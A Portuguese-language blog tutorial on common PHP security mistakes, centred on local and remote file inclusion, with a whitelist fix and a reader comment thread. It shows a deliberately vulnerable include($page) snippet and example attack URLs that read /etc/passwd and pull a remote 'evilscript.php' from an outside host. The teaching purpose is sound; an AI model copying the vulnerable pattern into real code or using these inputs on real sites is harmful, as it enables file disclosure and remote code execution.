+3

Principais erros de segurança em códigos PHP

criado por Marcos Regis em 12/06/2008 8:17am
Recentemente assisti a uma palestra sobre desenvolvimento de software seguro e fui incubido a realizar, na empresa em que trabalho, um workshop sobre o assunto afim de passar o conhecimento adquirido aos outros colaboradores.
O conteúdo deste artigo também está disponível no meu blog (http://blog.marcosregis.com).

Como trabalhamos na empresa com diversas tecnologias (PHP, JAVA, C, C#, Delphi) foquei mais na parte em que estou atualmente envolvido que é o segmento de Portais em PHP.

Percebi nos fóruns que participo (phpbrasil, php5, experts exchange) que muita gente desconhece o básico em segurança em ambiente WEB. Então somei ao conhecimento adquirido ao longo dos anos com PHP ao que aprendi na palestra e o resultado são as linhas a seguir.
Alguns trechos eu tomei de outros blogs/sites que utilizei para criar um texto mais compreensivo e as fontes estão citadas ao final do texto.

O propósito deste texto é informar aos programadores PHP dos erros comuns em segurança que podem ser encontrados em scripts PHP. Enquanto muitos dos seguintes conceitos podem parecer ser um senso comum, eles infelizmente não são sempre uma prática comum.
Após aplicar as seguintes técnicas ao seu código, você estará apto a eliminar a grande maioria dos furos de segurança que povoam muitos scripts. Muitos destes furos de seguranças foram encontrados em scripts PHP comerciais e open source largamente utilizados no passado (cito o OsCommerce, o WordPress e o phpBB como exemplos).

O mais importante conceito a aprender neste artigo é que você nunca deve confiar que o usuário entrará com dados exatamente como era esperado. A forma como a maioria dos scripts PHP são comprometidos é entrando com dados inesperados para explorar furos de segurança inadvertidamente deixados no script.

Sempre mantenha os seguintes princípios em mente quando desenvolver seus scripts:

- Nunca inclua, requeira, ou de outra forma abra arquivos com seus nomes baseados em entradas do usuário, sem checá-lo minuciosamente primeiro.

Tome o seguinte exemplo:
<?php
if (isset($page)) {
    include($page);
}
?>

Desde que não há validação sendo feita em $page, um usuário malicioso poderia hipoteticamente chamar seu script desta forma (assumindo que <em>register_globals</em> está ajustado em <em>ON</em>):

script.php?page=/etc/passwd

e portanto forçando seu script a incluir o arquivo <em>/etc/passwd</em> do servidor.

Quando um arquivo não PHP é incluído através de include() ou require(), ele é exibido com um arquivo HTML/Text, não parseado como código PHP. Em muitas instalações PHP, as funções de include() e require() podem incluir arquivos remotos. Se um usuário malicioso for chamar seu script desta forma:

script.php?page=http://mysite.com/evilscript.php

Ele estará apto a fazer o script evilscript.php exibir qualquer código PHP que ele ou ela desejar executar. Imagine se o usuário enviar código que apague conteúdo de seu banco de dados ou ainda envie informações importantes diretamente para o browser.

Solução: Validar a entrada do usuário.

Um método de validação pode ser criar uma lista de arquivos permitidos. Se a entrada não bater com estes arquivos, um erro pode ser exibido.

<?php
$pages = array(
    'index.html',
    'page2.html',
    'page3.html'
);

if (in_array($page, $pages)) {
    include($page);
} else {
    die("Boa tentativa.");
}
?>

Comentários:

Mostrando 1 - 10 de 24 comentários
Parabéns pelo artigo! :-)
31/03/2011 2:13am (~13 anos atrás)

Dam disse:
Bom artigo.
20/11/2008 4:21am (~16 anos atrás)

Por incrível que pareça, já peguei muito código de programador experiente contento estes erros.

Muito bom o seu artigo.

As vezes até eu esqueço essas boas práticas.
17/11/2008 4:36am (~16 anos atrás)

Ricardo Gama disse:
a ta. Foi isso mesmo que a gente fez aqui. No config.inc.php tem uma autoload que já inclui classes comuns a do framework e instancia tbm classes comuns ao sistema.

Vlw ae... vou ver uma forma de passar isso de outro jeito... tem algum tempo que isso me incomoda de ficar na URL :)

Abcs
13/11/2008 9:09am (~16 anos atrás)

Marcos Regis disse:
Isso depende de como está o código de verificação e de include.
O que desaconselho é usar variaveis que apontem para arquivos em um include pois um hacker pode fazer seu sistema apontar para um arquivo dele e dessa forma comprometer seu sistema.
A forma que os frameworks como cake, symfony, phpmvc, etc usam tem a ver com sessao (controller) e acao (metodo).
Dessa forma não tem que dar nenhum include.
Um sistema baseado em Orientação a Objetos a meu modo de ver tem que fazer uso de autoload e ter uma lista de classes válidas a serem instanciadas (disptatcher).

Quanto a estar certo ou errado é ponto de vista mas acho que vc ganharia em segurança se não utiliza-se include por parâmetros via URL.
13/11/2008 8:38am (~16 anos atrás)

Ricardo Gama disse:
Marcos, não entendi o lance que vc falou dos frameworks...

Exemplo, aqui na empresa a gente criou um framework, que funciona mais ou menos do jeito que vc falou. Ex.:

URL:

www.sitetal.com.br/sistema/index.php?t=pedido&a=frm

o parâmetro "t" é o nome da pasta onde fica a página vindo pelo valor de a (ou seja, ele vai procurar se na pasta pedido, existe uma página chamada frm.php). Se tiver ele da o include vai na pasta de classes e instancia a classe class.PEDIDO.php...

Os métodos são chamados na própria página, conforme for preciso. A gente não passa método via URL.

Você acha que essa forma ta errada? Por que estaria? Como posso corrigir isso?
13/11/2008 8:05am (~16 anos atrás)

Marcos Regis disse:
Essa sua preocupação tem sentido quando se usa eval() da forma como mencionei no artigo, pois eval executa uma string como código php.

No caso de SQL sim e é o que se chama de SQL injection.
04/11/2008 3:52am (~16 anos atrás)

Existe por exemplo algum função que é executada mesmo sem eu chama-la??

exemplo se eu pego $_GET['nome'] e faço $nome = $_GET['nome']; e depois disso eu faço os tratamentos de segurança

ai o usuário malicioso digita funcao_maliciosa(); , ele vai guardar isso como uma string ou como uma função??
pq se acontece de $nome = funcao_maliciosa(); ai pode ser que ele consiga dados mas se gravar como string acho que nao faz diferença.

[Na verdade eu tenho quase certeza que isso nao é um problema mas é só pra tirar as dúvidas mesmo]
03/11/2008 4:49pm (~16 anos atrás)

hinom disse:
outro tipo de falha muito comum é com upload de arquivos.

muitos sistemas nao fazem validação do tipo de arquivo enviado, permitindo que arquivos .php, por exemplo, sejam enviados

30/09/2008 1:27am (~16 anos atrás)

O codigo javascript pode ser facil e util mas e haqueavel, e quando o meu pc ficou sem java, eu nao acessava os arquivos corretos, entao tive que baixar o FF. Eu recomendo a todos aqui a usarem o PHP, e logo farei outros tutoriais...
16/09/2008 5:51am (~16 anos atrás)

Novo Comentário:

(Você pode usar tags como <b>, <i> ou <code>. URLs serão convertidas para links automaticamente.)